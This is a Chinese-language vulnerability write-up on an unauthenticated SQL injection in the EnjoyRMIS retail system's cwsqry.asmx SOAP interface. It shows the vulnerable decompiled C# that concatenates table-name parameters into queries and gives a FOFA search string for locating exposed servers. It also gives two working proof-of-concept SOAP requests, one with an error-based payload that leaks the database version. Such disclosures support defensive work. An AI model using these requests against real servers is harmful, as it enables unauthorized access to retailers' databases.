漏洞简介
EnjoyRMIS系统是由深圳市昂捷信息技术股份有限公司开发的一款面向零售行业的管理信息系统,旨在为超市、便利店、百货、购物中心及专营专卖等零售业态提供全面的数字化解决方案和服务。EnjoyRMIS系统的 /EnjoyRMIS_WS/WS/ReportTool/cwsqry.asmx 接口存在SQL注入漏洞,未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。
fofa语法
body="/Scripts/EnjoyMsg.js"
漏洞分析
GetDictionary
直接看 GetDictionary 方法的实现
public DataSet GetDictionary(string sTableName)
{
return new CDACommon().GetTableDictionary(sTableName);
}
将 sTableName 代入 CDACommon().GetTableDictionary 方法
public DataSet GetTableDictionary(string sTableName)
{
return this.GetDataSet("SELECT ROW_NUMBER() OVER (order by a.id)as RowNumber ,\r\n d.name N'TableName',\r\n\t a.name N'ColumnName',\r\n\t (case when (SELECT count(*)\r\n\t FROM sysobjects\r\n\t WHERE (name in\r\n \t (SELECT name\r\n\t FROM sysindexes\r\n \t WHERE (id = a.id) AND (indid in\r\n \t (SELECT indid\r\n\t FROM sysindexkeys\r\n \t WHERE (id = a.id) AND (colid in\r\n \t (SELECT colid\r\n \t FROM syscolumns\r\n\t WHERE (id = a.id) AND (name = a.name))))))) AND\r\n\t (xtype = 'PK'))>0 then '√' else '' end) N'Primary',\r\n\t\t\t\t\t\tb.name N'Type',\r\n\t\t\t\t\t\ta.length N'Number',\r\n\t\t\t\t\t\tCOLUMNPROPERTY(a.id,a.name,'PRECISION') as N'Length',\r\n\t\t\t\t\t\tisnull(COLUMNPROPERTY(a.id,a.name,'Scale'),0) as N'decimalN',\r\n\t\t\t\t\t\t(case when a.isnullable=1 then '√'else '' end) N'isnull',\r\n\t\t\t\t\t\tisnull(e.text,'') N'NullText',\r\n\t\t\t\t\t\tisnull(g.[value],'') AS N'Note'\r\n\t\t\t\t\tFROM syscolumns a left join systypes b \r\n\t\t\t\t\ton a.xtype=b.xusertype\r\n\t\t\t\t\tinner join sysobjects d \r\n\t\t\t\t\ton a.id=d.id and d.xtype='U' and d.name<>'dtproperties'\r\n\t\t\t\t\tleft join syscomments e\r\n\t\t\t\t\ton a.cdefault=e.id\r\n\t\t\t\t\tleft join sys.extended_properties g\r\n\t\t\t\t\ton a.id=g.major_id AND a.colid = g.minor_id\r\n where d.name = '" + sTableName + "' order by RowNumber,object_name(a.id),a.colorder");
}
GetTableDictionary 方法里直接将 sTableName 拼接到SQL语句where子语句中执行,造成SQL注入漏洞,其他几个方法也存在同样的问题。
GetAllQryColumn
public QryDSet GetAllQryColumn(string sTable) => new CDAQry().GetAllQryColumn(sTable);
public QryDSet GetAllQryColumn(string sTable)
{
COleDbConn coleDbConn = new COleDbConn();
coleDbConn.ConnDB();
try
{
string str = "select '" + sTable + "' as c_table_name, syscolumns.name as c_column_name,isnull((select pbc_hdr from pbcatcol where\r\n pbc_tnam='" + sTable + "' and pbc_cnam= syscolumns.name),syscolumns.name) as c_column_cname,\r\n\t\t\t\t\t\t\tsystypes.name as c_data_type,syscolumns.length as c_data_len \r\n\t\t\t\t\t\t\tfrom sys.extended_properties,sysobjects,syscolumns,systypes \r\n\t\t\t\t\t\t\twhere sys.extended_properties.major_id=sysobjects.id \r\n\t\t\t\t\t\t\tand syscolumns.id=sysobjects.id \r\n\t\t\t\t\t\t\tand syscolumns.colid=sys.extended_properties.minor_id \r\n\t\t\t\t\t\t\tand syscolumns.xtype=systypes.xtype \r\n\t\t\t\t\t\t\tand sysobjects.name= '" + sTable + "' \r\n\t\t\t\t\t\t\torder by sys.extended_properties.minor_id";
QryDSet allQryColumn = new QryDSet();
OleDbDataAdapter oleDbDataAdapter = new OleDbDataAdapter();
OleDbCommand oleDbCommand = new OleDbCommand();
((DbCommand) oleDbCommand).CommandText = str;
((DbCommand) oleDbCommand).CommandType = (CommandType) 1;
oleDbCommand.Connection = coleDbConn.OleDbConnection;
oleDbDataAdapter.SelectCommand = oleDbCommand;
((DbDataAdapter) oleDbDataAdapter).Fill((DataSet) allQryColumn, "tb_select_column");
return allQryColumn;
}
catch (Exception ex)
{
throw ex;
}
finally
{
coleDbConn.DisConnDB();
}
}
sTable 也是直接拼接进SQL语句中,只是在利用时需要注意SQL语句的编写。
漏洞复现
GetDictionary
POST /EnjoyRMIS_WS/WS/ReportTool/cwsqry.asmx HTTP/1.1
Connection: keep-alive
SOAPAction: http://tempuri.org/GetDictionary
Content-Type: text/xml;charset=UTF-8
Host: enjoyrmis.mrxn.net
Content-Length: 327
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:GetDictionary>
<!--type: string-->
<tem:sTableName>1'and 1=@@version--</tem:sTableName>
</tem:GetDictionary>
</soapenv:Body>
</soapenv:Envelope>

成功利用报错注入 爆出数据库版本信息。
GetAllQryColumn
POST /EnjoyRMIS_WS/WS/ReportTool/cwsqry.asmx HTTP/1.1
Connection: keep-alive
SOAPAction: http://tempuri.org/GetAllQryColumn
Content-Type: text/xml;charset=UTF-8
Host: enjoyrmis.mrxn.net
Content-Length: 327
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:GetAllQryColumn>
<!--type: string-->
<tem:sTable>'</tem:sTable>
</tem:GetAllQryColumn>
</soapenv:Body>
</soapenv:Envelope>

输入单引号,成功引起数据库错误。

